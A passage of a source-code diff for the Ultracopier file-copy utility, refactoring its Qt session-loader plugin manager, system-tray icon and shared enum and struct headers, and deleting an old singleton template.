+ /// \brief get the read path
+ QStringList getReadPath() const;
+ /// \brief remove folder
+ static bool removeFolder(const QString &dir);
+ private:
+ /// \brief List of the path to read only access
+ QStringList searchPath;
+ /// \brief The writable path, empty if not found
+ QString writablePath;
+ /// \brief match with slash end
+ static QRegularExpression slashEnd;
};
#endif // RESOURCES_MANAGER_H
diff --git a/SessionLoader.cpp b/SessionLoader.cpp
index 6b606a0..21cca9b 100644
--- a/SessionLoader.cpp
+++ b/SessionLoader.cpp
@@ -1,133 +1,171 @@
/** \file SessionLoader.h
\brief Define the session loader
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "SessionLoader.h"
+#include "LanguagesManager.h"
+#ifndef ULTRACOPIER_VERSION_PORTABLE
SessionLoader::SessionLoader(OptionDialog *optionDialog)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- this->optionDialog=optionDialog;
- //load the options
- QList<QPair<QString, QVariant> > KeysList;
- #ifdef ULTRACOPIER_VERSION_PORTABLE
- KeysList.append(qMakePair(QString("LoadAtSessionStarting"),QVariant(false)));
- #else
- KeysList.append(qMakePair(QString("LoadAtSessionStarting"),QVariant(true)));
- #endif
- options->addOptionGroup("SessionLoader",KeysList);
- connect(options,SIGNAL(newOptionValue(QString,QString,QVariant)), this, SLOT(newOptionValue(QString,QString,QVariant)),Qt::QueuedConnection);
- //load the plugin
- plugins->lockPluginListEdition();
- qRegisterMetaType<PluginsAvailable>("PluginsAvailable");
- connect(this,SIGNAL(previouslyPluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginWillBeRemoved(PluginsAvailable)), this,SLOT(onePluginWillBeRemoved(PluginsAvailable)),Qt::DirectConnection);
- QList<PluginsAvailable> list=plugins->getPluginsByCategory(PluginType_SessionLoader);
- foreach(PluginsAvailable currentPlugin,list)
- emit previouslyPluginAdded(currentPlugin);
- plugins->unlockPluginListEdition();
- shouldEnabled=options->getOptionValue("SessionLoader","LoadAtSessionStarting").toBool();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ this->optionDialog=optionDialog;
+ //load the options
+ connect(OptionEngine::optionEngine,&OptionEngine::newOptionValue, this, &SessionLoader::newOptionValue,Qt::QueuedConnection);
+ //load the plugin
+ PluginsManager::pluginsManager->lockPluginListEdition();
+ connect(this,&SessionLoader::previouslyPluginAdded, this,&SessionLoader::onePluginAdded,Qt::QueuedConnection);
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginAdded, this,&SessionLoader::onePluginAdded,Qt::QueuedConnection);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginWillBeRemoved, this,&SessionLoader::onePluginWillBeRemoved,Qt::DirectConnection);
+ #endif
+ QList<PluginsAvailable> list=PluginsManager::pluginsManager->getPluginsByCategory(PluginType_SessionLoader);
+ foreach(PluginsAvailable currentPlugin,list)
+ emit previouslyPluginAdded(currentPlugin);
+ PluginsManager::pluginsManager->unlockPluginListEdition();
+ shouldEnabled=OptionEngine::optionEngine->getOptionValue(QStringLiteral("SessionLoader"),QStringLiteral("LoadAtSessionStarting")).toBool();
}
SessionLoader::~SessionLoader()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QList<PluginsAvailable> list=plugins->getPluginsByCategory(PluginType_SessionLoader);
- foreach(PluginsAvailable currentPlugin,list)
- onePluginWillBeRemoved(currentPlugin);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ int index=0;
+ const int &loop_size=pluginList.size();
+ while(index<loop_size)
+ {
+ if(pluginList.at(index).pluginLoader!=NULL)
+ {
+ if(!pluginList.at(index).pluginLoader->isLoaded() || pluginList.at(index).pluginLoader->unload())
+ {
+ delete pluginList.at(index).options;
+ pluginList.removeAt(index);
+ }
+ }
+ index++;
+ }
+ #endif
}
void SessionLoader::onePluginAdded(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_SessionLoader)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QString pluginPath=plugin.path+PluginsManager::getResolvedPluginName("sessionLoader");
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"try load: "+pluginPath);
- LocalPlugin newEntry;
- QPluginLoader *pluginLoader= new QPluginLoader(pluginPath);
- newEntry.pluginLoader=pluginLoader;
- QObject *pluginInstance = pluginLoader->instance();
- if(pluginInstance)
- {
- PluginInterface_SessionLoader *sessionLoader = qobject_cast<PluginInterface_SessionLoader *>(pluginInstance);
- //check if found
- int index=0;
- while(index<pluginList.size())
- {
- if(pluginList.at(index).sessionLoaderInterface==sessionLoader)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Plugin already found"));
- pluginLoader->unload();
- return;
- }
- index++;
- }
- if(sessionLoader)
- {
- #ifdef ULTRACOPIER_DEBUG
- connect(sessionLoader,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SLOT(debugInformation(DebugLevel,QString,QString,QString,int)));
- #endif // ULTRACOPIER_DEBUG
- newEntry.options=new LocalPluginOptions("SessionLoader-"+plugin.name);
- newEntry.sessionLoaderInterface=sessionLoader;
- newEntry.path=plugin.path;
- newEntry.sessionLoaderInterface->setResources(newEntry.options,plugin.writablePath,plugin.path,ULTRACOPIER_VERSION_PORTABLE_BOOL);
- newEntry.sessionLoaderInterface->setEnabled(shouldEnabled);
- optionDialog->addPluginOptionWidget(PluginType_SessionLoader,plugin.name,newEntry.sessionLoaderInterface->options());
- connect(languages,SIGNAL(newLanguageLoaded(QString)),newEntry.sessionLoaderInterface,SLOT(newLanguageLoaded()));
- pluginList << newEntry;
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to cast the plugin: "+pluginLoader->errorString());
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to load the plugin: "+pluginLoader->errorString());
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ if(plugin.category!=PluginType_SessionLoader)
+ return;
+ int index=0;
+ LocalPlugin newEntry;
+ QString pluginPath=plugin.path+PluginsManager::getResolvedPluginName(QStringLiteral("sessionLoader"));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("try load: ")+pluginPath);
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+
+ PluginInterface_SessionLoader *sessionLoader;
+ QObjectList objectList=QPluginLoader::staticInstances();
+ index=0;
+ QObject *pluginObject;
+ while(index<objectList.size())
+ {
+ pluginObject=objectList.at(index);
+ sessionLoader = qobject_cast<PluginInterface_SessionLoader *>(pluginObject);
+ if(sessionLoader!=NULL)
+ break;
+ index++;
+ }
+ if(index==objectList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("static session loader not found"));
+ return;
+ }
+ newEntry.pluginLoader=NULL;
+ #else
+ QPluginLoader *pluginLoader= new QPluginLoader(pluginPath);
+ newEntry.pluginLoader=pluginLoader;
+ QObject *pluginInstance = pluginLoader->instance();
+ if(!pluginInstance)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to load the plugin: ")+pluginLoader->errorString());
+ return;
+ }
+ PluginInterface_SessionLoader *sessionLoader = qobject_cast<PluginInterface_SessionLoader *>(pluginInstance);
+ if(!sessionLoader)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to cast the plugin: ")+pluginLoader->errorString());
+ return;
+ }
+ //check if found
+ index=0;
+ while(index<pluginList.size())
+ {
+ if(pluginList.at(index).sessionLoaderInterface==sessionLoader)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Plugin already found"));
+ pluginLoader->unload();
+ return;
+ }
+ index++;
+ }
+ #endif
+ #ifdef ULTRACOPIER_DEBUG
+ connect(sessionLoader,&PluginInterface_SessionLoader::debugInformation,this,&SessionLoader::debugInformation);
+ #endif // ULTRACOPIER_DEBUG
+ newEntry.options=new LocalPluginOptions(QStringLiteral("SessionLoader-")+plugin.name);
+ newEntry.sessionLoaderInterface=sessionLoader;
+ newEntry.path=plugin.path;
+ newEntry.sessionLoaderInterface->setResources(newEntry.options,plugin.writablePath,plugin.path,ULTRACOPIER_VERSION_PORTABLE_BOOL);
+ newEntry.sessionLoaderInterface->setEnabled(shouldEnabled);
+ optionDialog->addPluginOptionWidget(PluginType_SessionLoader,plugin.name,newEntry.sessionLoaderInterface->options());
+ connect(LanguagesManager::languagesManager,&LanguagesManager::newLanguageLoaded,newEntry.sessionLoaderInterface,&PluginInterface_SessionLoader::newLanguageLoaded);
+ pluginList << newEntry;
+ #else
+ Q_UNUSED(plugin);
+ return;
+ #endif
}
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
void SessionLoader::onePluginWillBeRemoved(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_SessionLoader)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<pluginList.size())
- {
- if(plugin.path==pluginList.at(index).path)
- {
- if(!pluginList.at(index).pluginLoader->isLoaded() || pluginList.at(index).pluginLoader->unload())
- {
- delete pluginList.at(index).options;
- pluginList.removeAt(index);
- }
- break;
- }
- index++;
- }
+ if(plugin.category!=PluginType_SessionLoader)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(plugin.path==pluginList.at(index).path)
+ {
+ if(pluginList.at(index).pluginLoader!=NULL)
+ {
+ if(!pluginList.at(index).pluginLoader->isLoaded() || pluginList.at(index).pluginLoader->unload())
+ {
+ delete pluginList.at(index).options;
+ pluginList.removeAt(index);
+ }
+ }
+ break;
+ }
+ index++;
+ }
}
+#endif
void SessionLoader::newOptionValue(const QString &groupName,const QString &variableName,const QVariant &value)
{
- if(groupName=="SessionLoader" && variableName=="LoadAtSessionStarting")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start, value: %1").arg(value.toBool()));
- shouldEnabled=value.toBool();
- int index=0;
- while(index<pluginList.size())
- {
- pluginList.at(index).sessionLoaderInterface->setEnabled(shouldEnabled);
- index++;
- }
- }
+ if(groupName==QStringLiteral("SessionLoader") && variableName==QStringLiteral("LoadAtSessionStarting"))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, value: %1").arg(value.toBool()));
+ shouldEnabled=value.toBool();
+ int index=0;
+ while(index<pluginList.size())
+ {
+ pluginList.at(index).sessionLoaderInterface->setEnabled(shouldEnabled);
+ index++;
+ }
+ }
}
#ifdef ULTRACOPIER_DEBUG
-void SessionLoader::debugInformation(DebugLevel level,const QString& fonction,const QString& text,const QString& file,const int& ligne)
+void SessionLoader::debugInformation(const Ultracopier::DebugLevel &level,const QString& fonction,const QString& text,const QString& file,const int& ligne)
{
- DebugEngine::addDebugInformationStatic(level,fonction,text,file,ligne,"Session loader plugin");
+ DebugEngine::addDebugInformationStatic(level,fonction,text,file,ligne,QStringLiteral("Session loader plugin"));
}
#endif // ULTRACOPIER_DEBUG
-
+#endif // !defined(ULTRACOPIER_PLUGIN_ALL_IN_ONE) || !defined(ULTRACOPIER_VERSION_PORTABLE)
diff --git a/SessionLoader.h b/SessionLoader.h
index 28bb3aa..c14f0f5 100644
--- a/SessionLoader.h
+++ b/SessionLoader.h
@@ -1,8 +1,6 @@
/** \file SessionLoader.h
\brief Define the class to load the plugin and lunch it
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING
This class load ALL plugin compatible to listen and catch the copy/move
@@ -13,43 +11,51 @@ This class load ALL plugin compatible to listen and catch the copy/move
#include <QObject>
#include <QList>
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
#include <QPluginLoader>
+#endif
#include <QString>
#include <QStringList>
#include "interface/PluginInterface_SessionLoader.h"
#include "PluginsManager.h"
-#include "GlobalClass.h"
#include "OptionDialog.h"
+#include "LocalPluginOptions.h"
+#ifndef ULTRACOPIER_VERSION_PORTABLE
/** \brief manage all SessionLoader plugin */
-class SessionLoader : public QObject, GlobalClass
+class SessionLoader : public QObject
{
- Q_OBJECT
- public:
- explicit SessionLoader(OptionDialog *optionDialog);
- ~SessionLoader();
- private slots:
- void onePluginAdded(const PluginsAvailable &plugin);
- void onePluginWillBeRemoved(const PluginsAvailable &plugin);
- void newOptionValue(const QString &groupName,const QString &variableName,const QVariant &value);
- #ifdef ULTRACOPIER_DEBUG
- void debugInformation(DebugLevel level,const QString& fonction,const QString& text,const QString& file,const int& ligne);
- #endif // ULTRACOPIER_DEBUG
- private:
- //variable
- struct LocalPlugin
- {
- PluginInterface_SessionLoader * sessionLoaderInterface;
- QPluginLoader * pluginLoader;
- QString path;
- LocalPluginOptions *options;
- };
- QList<LocalPlugin> pluginList;
- bool shouldEnabled;
- OptionDialog *optionDialog;
- signals:
- void previouslyPluginAdded(PluginsAvailable);
+ Q_OBJECT
+ public:
+ explicit SessionLoader(OptionDialog *optionDialog);
+ ~SessionLoader();
+ private slots:
+ void onePluginAdded(const PluginsAvailable &plugin);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ void onePluginWillBeRemoved(const PluginsAvailable &plugin);
+ #endif
+ void newOptionValue(const QString &groupName,const QString &variableName,const QVariant &value);
+ #ifdef ULTRACOPIER_DEBUG
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString& fonction,const QString& text,const QString& file,const int& ligne);
+ #endif // ULTRACOPIER_DEBUG
+ private:
+ //variable
+ struct LocalPlugin
+ {
+ PluginInterface_SessionLoader * sessionLoaderInterface;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ QPluginLoader * pluginLoader;
+ #endif
+ QString path;
+ LocalPluginOptions *options;
+ };
+ QList<LocalPlugin> pluginList;
+ bool shouldEnabled;
+ OptionDialog *optionDialog;
+ signals:
+ void previouslyPluginAdded(PluginsAvailable) const;
};
+#endif
#endif // SESSIONLOADER_H
diff --git a/Singleton.h b/Singleton.h
deleted file mode 100644
index d88a029..0000000
--- a/Singleton.h
+++ /dev/null
@@ -1,52 +0,0 @@
-/** \file Singleton.h
-\brief Define the singleton for class which should have unique object
-\author alpha_one_x86
-\note Big thanks to all people in the channel #qt-fr of freenode of irc
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
-
-#include <QMutex>
-#include <QMutexLocker>
-
-#ifndef SINGLETON_H
-#define SINGLETON_H
-
-/** \class Singleton
-\brief Define the singleton for class which should have unique object
-\note Big thanks to all people in the channel #qt-fr of freenode of irc */
-template <typename T>
-class Singleton
-{
- public:
- /// \brief Public interface
- static T *getInstance()
- {
- number_load++;
- if(_singleton==NULL)
- _singleton = new T;
- return (static_cast<T*> (_singleton));
- }
- /// \brief For destroy only when the call to this function call count is the same as the getInstance() count call
- static void destroyInstanceAtTheLastCall()
- {
- number_load--;
- if(number_load==0)
- {
- delete _singleton;
- _singleton=NULL;
- }
- }
- private:
- /// \brief Unique instance
- static T *_singleton;
- /// \brief To count the getInstance() call count
- static int number_load;
-};
-
-template <typename T>
-T *Singleton<T>::_singleton = NULL;
-template <typename T>
-int Singleton<T>::number_load = 0;
-
-#endif // SINGLETON_H
diff --git a/StructEnumDefinition.h b/StructEnumDefinition.h
index cb86306..0d3eb68 100644
--- a/StructEnumDefinition.h
+++ b/StructEnumDefinition.h
@@ -1,8 +1,6 @@
/** \file StructEnumDefinition.h
\brief Define the structure and enumeration used in ultracopier or into the plugin
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include <QVariant>
@@ -12,135 +10,145 @@
#ifndef STRUCTDEF_H
#define STRUCTDEF_H
+namespace Ultracopier {
/// \brief Define the mode of the copy window/request, if need be copy or move
enum CopyMode
{
- Copy=0x00000000,
- Move=0x00000001
+ Copy=0x00000000,
+ Move=0x00000001
+};
+
+enum RemainingTimeAlgo
+{
+ RemainingTimeAlgo_Traditional=0x00000000,
+ RemainingTimeAlgo_Logarithmic=0x00000001
};
/// \brief Define the catching state, if the copy is totally catch of the explorer, partially or nothing
enum CatchState
{
- Uncaught=0x00000000,
- Semiuncaught=0x00000001,
- Caught=0x00000002
+ Uncaught=0x00000000,
+ Semiuncaught=0x00000001,
+ Caught=0x00000002
};
/// \brief Define the listening state
enum ListeningState
{
- NotListening=0x00000000,///< 0 listener is listening
- SemiListening=0x00000001,///< only part of listeners are listening
- FullListening=0x00000002///< all the listeners are listening
+ NotListening=0x00000000,///< 0 listener is listening
+ SemiListening=0x00000001,///< only part of listeners are listening
+ FullListening=0x00000002///< all the listeners are listening
};
/// \brief Define the copy type, if folder, file or both
enum CopyType
{
- File = 0x00000001,
- FileAndFolder = 0x00000002
+ File = 0x00000001,
+ FileAndFolder = 0x00000002
};
/// \brief transfer list operation, can define nothing, the import/export or both
enum TransferListOperation
{
- TransferListOperation_None = 0x00000000,
- TransferListOperation_Import = 0x00000001,
- TransferListOperation_Export = 0x00000002,
- TransferListOperation_ImportExport = TransferListOperation_Import | TransferListOperation_Export
+ TransferListOperation_None = 0x00000000,
+ TransferListOperation_Import = 0x00000001,
+ TransferListOperation_Export = 0x00000002,
+ TransferListOperation_ImportExport = TransferListOperation_Import | TransferListOperation_Export
};
enum EngineActionInProgress
{
- Idle = 0x00000000,
- Listing = 0x00000001,
- Copying = 0x00000002,
- CopyingAndListing = Listing | Copying
+ Idle = 0x00000000,
+ Listing = 0x00000001,
+ Copying = 0x00000002,
+ CopyingAndListing = Listing | Copying
};
/// \brief the level of information
enum DebugLevel
{
- DebugLevel_Information=0x00000001, ///< Information like the compiler, OS, Qt version, all to know in witch condition ultracopier is launched
- DebugLevel_Critical=0x00000002, ///< Critical error, where it don't know how skip it
- DebugLevel_Warning=0x00000003, ///< Error, but have way to skip it
- DebugLevel_Notice=0x00000004 ///< General information to debug, what file is open, what event is received, ...
+ DebugLevel_Information=0x00000001, ///< Information like the compiler, OS, Qt version, all to know in witch condition ultracopier is launched
+ DebugLevel_Critical=0x00000002, ///< Critical error, where it don't know how skip it
+ DebugLevel_Warning=0x00000003, ///< Error, but have way to skip it
+ DebugLevel_Notice=0x00000004 ///< General information to debug, what file is open, what event is received, ...
};
enum SizeUnit
{
- SizeUnit_byte=0x00000000,
- SizeUnit_KiloByte=0x00000001,
- SizeUnit_MegaByte=0x00000002,
- SizeUnit_GigaByte=0x00000003,
- SizeUnit_TeraByte=0x00000004,
- SizeUnit_PetaByte=0x00000005,
- SizeUnit_ExaByte=0x00000006,
- SizeUnit_ZettaByte=0x00000007,
- SizeUnit_YottaByte=0x00000008
+ SizeUnit_byte=0x00000000,
+ SizeUnit_KiloByte=0x00000001,
+ SizeUnit_MegaByte=0x00000002,
+ SizeUnit_GigaByte=0x00000003,
+ SizeUnit_TeraByte=0x00000004,
+ SizeUnit_PetaByte=0x00000005,
+ SizeUnit_ExaByte=0x00000006,
+ SizeUnit_ZettaByte=0x00000007,
+ SizeUnit_YottaByte=0x00000008
};
/// \brief structure for decompossed time
struct TimeDecomposition
{
- quint16 second;
- quint16 minute;
- quint16 hour;
+ quint16 second;
+ quint16 minute;
+ quint16 hour;
};
//////////////////////////// Return list //////////////////////////////
enum ActionTypeCopyList
{
- //playlist action
- MoveItem=0x00000000,
- RemoveItem=0x00000001,
- AddingItem=0x00000002,
- //Item action, to inform the stat of one entry
- PreOperation=0x00000003,
- Transfer=0x00000004,
- PostOperation=0x00000005,
- CustomOperation=0x00000006 /// \note this need be used after preoperation and before postoperation
+ //playlist action
+ MoveItem=0x00000000,
+ RemoveItem=0x00000001,
+ AddingItem=0x00000002,
+ //Item action, to inform the stat of one entry
+ PreOperation=0x00000003,
+ Transfer=0x00000004,
+ PostOperation=0x00000005,
+ CustomOperation=0x00000006 /// \note this need be used after preoperation and before postoperation
};
/// \brief structure for progression item
struct ProgressionItem
{
- quint64 id;
- quint64 current;
- quint64 total;
+ quint64 id;
+ quint64 currentRead;
+ quint64 currentWrite;
+ quint64 total;
};
/// \brief item to insert item in the interface
struct ItemOfCopyList
{
- quint64 id;
- // if type == CustomOperation, then is the translated name of the operation
- QString sourceFullPath;///< full path with file name: /foo/foo.txt
- QString sourceFileName;///< full path with file name: foo.txt
- QString destinationFullPath;///< full path with file name: /foo/foo.txt
- QString destinationFileName;///< full path with file name: foo.txt
- // if type == CustomOperation, then 0 = without progression, 1 = with progression
- quint64 size;
- CopyMode mode;
+ quint64 id;
+ // if type == CustomOperation, then is the translated name of the operation
+ QString sourceFullPath;///< full path with file name: /foo/foo.txt
+ QString sourceFileName;///< full path with file name: foo.txt
+ QString destinationFullPath;///< full path with file name: /foo/foo.txt
+ QString destinationFileName;///< full path with file name: foo.txt
+ // if type == CustomOperation, then 0 = without progression, 1 = with progression
+ quint64 size;
+ CopyMode mode;
};
/// \brief The definition of no removing action on transfer list
struct ActionOnCopyList
{
- int position;
- ///< if type == MoveItem
- int moveAt;
+ int position;
+ // if type == MoveItem
+ // if type == RemoveItem, then 0 = normal remove, 1 = skip
+ int moveAt;
};
/// \brief action normal or due to interface query on copy list
-struct returnActionOnCopyList
+struct ReturnActionOnCopyList
{
- ActionTypeCopyList type;
- ///< used if type == AddingItem || type == PreOperation (for interface without transfer list) || type == CustomOperation
- ItemOfCopyList addAction;
- ///< used if type != AddingItem
- ActionOnCopyList userAction;
+ ActionTypeCopyList type;
+ ///< used if type == AddingItem || type == PreOperation (for interface without transfer list) || type == CustomOperation
+ ItemOfCopyList addAction;
+ ///< used if type != AddingItem
+ ActionOnCopyList userAction;
};
+}
#endif // STRUCTDEF_H
diff --git a/StructEnumDefinition_UltracopierSpecific.h b/StructEnumDefinition_UltracopierSpecific.h
index c9ed2d0..4f4fd89 100644
--- a/StructEnumDefinition_UltracopierSpecific.h
+++ b/StructEnumDefinition_UltracopierSpecific.h
@@ -1,8 +1,6 @@
/** \file StructEnumDefinition_UltracopierSpecific.h
\brief Define the structure and enumeration used in ultracopier only
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include <QString>
diff --git a/SystrayIcon.cpp b/SystrayIcon.cpp
index 4a1c8f1..6fe9b60 100644
--- a/SystrayIcon.cpp
+++ b/SystrayIcon.cpp
@@ -1,206 +1,272 @@
/** \file SystrayIcon.cpp
\brief Define the class of the systray icon
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include <QMessageBox>
+#include <QMimeData>
+#include <QDesktopServices>
#include "SystrayIcon.h"
+#include "PluginsManager.h"
+#include "ThemesManager.h"
+#include "LanguagesManager.h"
+#include "HelpDialog.h"
+
+#ifdef Q_OS_MAC
+//extern void qt_mac_set_dock_menu(QMenu *menu);
+#endif
/// \brief Initiate and show the icon in the systray
-SystrayIcon::SystrayIcon()
+SystrayIcon::SystrayIcon(QObject * parent) :
+ QSystemTrayIcon(parent)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //setup the systray icon
- haveListenerInfo = false;
- havePluginLoaderInfo = false;
- systrayMenu = new QMenu();
- actionMenuAbout = new QAction(this);
- actionMenuQuit = new QAction(this);
- actionOptions = new QAction(this);
- //actionTransfer = new QAction(this);
- copyMenu = new QMenu();
- //to prevent init bug
- stateListener=NotListening;
- statePluginLoader=Uncaught;
-
- setContextMenu(systrayMenu);
- setToolTip("Ultracopier");
- #ifdef Q_OS_WIN32
- setIcon(QIcon(":/systray_Uncaught_Windows.png"));
- #else
- setIcon(QIcon(":/systray_Uncaught_Unix.png"));
- #endif
- show();
- //connect the action
- connect(&timerCheckSetTooltip, SIGNAL(timeout()), this, SLOT(checkSetTooltip()));
- connect(actionMenuQuit, SIGNAL(triggered()), this, SIGNAL(quit()));
- connect(actionMenuAbout, SIGNAL(triggered()), this, SIGNAL(showHelp()));
- connect(actionOptions, SIGNAL(triggered()), this, SIGNAL(showOptions()));
- connect(this, SIGNAL(activated(QSystemTrayIcon::ActivationReason)), this, SLOT(CatchAction(QSystemTrayIcon::ActivationReason)));
- connect(plugins, SIGNAL(pluginListingIsfinish()), this, SLOT(reloadEngineList()));
- //display the icon
- updateCurrentTheme();
- //if theme/language change, update graphic part
- connect(themes, SIGNAL(theThemeIsReloaded()), this, SLOT(updateCurrentTheme()));
- connect(languages, SIGNAL(newLanguageLoaded(QString)), this, SLOT(retranslateTheUI()));
- systrayMenu->addMenu(copyMenu);
- systrayMenu->addAction(actionOptions);
- systrayMenu->addAction(actionMenuAbout);
- systrayMenu->addAction(actionMenuQuit);
- systrayMenu->insertSeparator(actionOptions);
- retranslateTheUI();
- updateSystrayIcon();
-
- timerCheckSetTooltip.setSingleShot(true);
- timerCheckSetTooltip.start(1000);
-
- //impossible with Qt on systray
- /// \note important for drag and drop, \see dropEvent()
- systrayMenu->setAcceptDrops(true);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+
+ //setup the systray icon
+ haveListenerInfo = false;
+ havePluginLoaderInfo = false;
+ systrayMenu = new QMenu();
+ actionMenuAbout = new QAction(this);
+ #ifdef ULTRACOPIER_DEBUG
+ actionSaveBugReport = new QAction(this);
+ #endif
+ actionMenuQuit = new QAction(this);
+ actionOptions = new QAction(this);
+ //actionTransfer = new QAction(this);
+ #if ! defined(Q_OS_LINUX) || (QT_VERSION < QT_VERSION_CHECK(5, 6, 0))
+ copyMenu = NULL;
+ #endif
+ //to prevent init bug
+ stateListener=Ultracopier::NotListening;
+ statePluginLoader=Ultracopier::Uncaught;
+
+ setContextMenu(systrayMenu);
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ setToolTip(QStringLiteral("Supercopier"));
+ #else
+ setToolTip(QStringLiteral("Ultracopier"));
+ #endif
+ #ifdef Q_OS_WIN32
+ setIcon(QIcon(QStringLiteral(":/systray_Uncaught_Windows.png")));
+ #else
+ setIcon(QIcon(QStringLiteral(":/systray_Uncaught_Unix.png")));
+ #endif
+ //connect the action
+ connect(&timerCheckSetTooltip, &QTimer::timeout, this, &SystrayIcon::checkSetTooltip);
+ #ifdef ULTRACOPIER_DEBUG
+ connect(actionSaveBugReport, &QAction::triggered, this, &SystrayIcon::saveBugReport);
+ #endif
+ connect(actionMenuQuit, &QAction::triggered, this, &SystrayIcon::hide);
+ connect(actionMenuQuit, &QAction::triggered, this, &SystrayIcon::quit);
+ connect(actionMenuAbout, &QAction::triggered, this, &SystrayIcon::showHelp);
+ connect(actionOptions, &QAction::triggered, this, &SystrayIcon::showOptions);
+ connect(this, &SystrayIcon::activated, this, &SystrayIcon::CatchAction);
+ #ifdef ULTRACOPIER_INTERNET_SUPPORT
+ connect(this, &QSystemTrayIcon::messageClicked, this, &SystrayIcon::messageClicked);
+ #endif
+ connect(PluginsManager::pluginsManager, &PluginsManager::pluginListingIsfinish, this, &SystrayIcon::reloadEngineList);
+ //display the icon
+ updateCurrentTheme();
+ //if theme/language change, update graphic part
+ connect(ThemesManager::themesManager, &ThemesManager::theThemeIsReloaded, this, &SystrayIcon::updateCurrentTheme, Qt::QueuedConnection);
+ connect(LanguagesManager::languagesManager, &LanguagesManager::newLanguageLoaded, this, &SystrayIcon::retranslateTheUI, Qt::QueuedConnection);
+
+ systrayMenu->addAction(actionOptions);
+ systrayMenu->addAction(actionMenuAbout);
+ #ifdef ULTRACOPIER_DEBUG
+ systrayMenu->addAction(actionSaveBugReport);
+ #endif
+ systrayMenu->addAction(actionMenuQuit);
+ #ifndef Q_OS_MAC
+ systrayMenu->insertSeparator(actionOptions);
+ #endif
+ retranslateTheUI();
+ updateSystrayIcon();
+
+ #ifdef ULTRACOPIER_INTERNET_SUPPORT
+ lastVersion=ULTRACOPIER_VERSION;
+ #endif
+
+ timerCheckSetTooltip.setSingleShot(true);
+ timerCheckSetTooltip.start(1000);
+
+ //impossible with Qt on systray
+ /// \note important for drag and drop, \see dropEvent()
+ systrayMenu->setAcceptDrops(true);
+
+ #ifdef Q_OS_MAC
+// qt_mac_set_dock_menu(systrayMenu);
+ #endif
+
+ show();
}
/// \brief Hide and destroy the icon in the systray
SystrayIcon::~SystrayIcon()
{
- delete actionMenuQuit;
- delete actionMenuAbout;
- delete actionOptions;
- delete systrayMenu;
- delete copyMenu;
+ delete actionMenuQuit;
+ #ifdef ULTRACOPIER_DEBUG
+ delete actionSaveBugReport;
+ #endif
+ delete actionMenuAbout;
+ delete actionOptions;
+ delete systrayMenu;
+ #if ! defined(Q_OS_LINUX) || (QT_VERSION < QT_VERSION_CHECK(5, 6, 0))
+ if(copyMenu!=NULL)
+ {
+ delete copyMenu;
+ copyMenu=NULL;
+ }
+ #endif
}
void SystrayIcon::checkSetTooltip()
{
- if(isSystemTrayAvailable())
- {
- setToolTip("Ultracopier");
- updateSystrayIcon();
- }
- else
- timerCheckSetTooltip.start();
+ if(isSystemTrayAvailable())
+ {
+ #ifdef ULTRACOPIER_MODE_SUPERCOPIER
+ setToolTip(QStringLiteral("Supercopier"));
+ #else
+ setToolTip(QStringLiteral("Ultracopier"));
+ #endif
+ updateSystrayIcon();
+ }
+ else
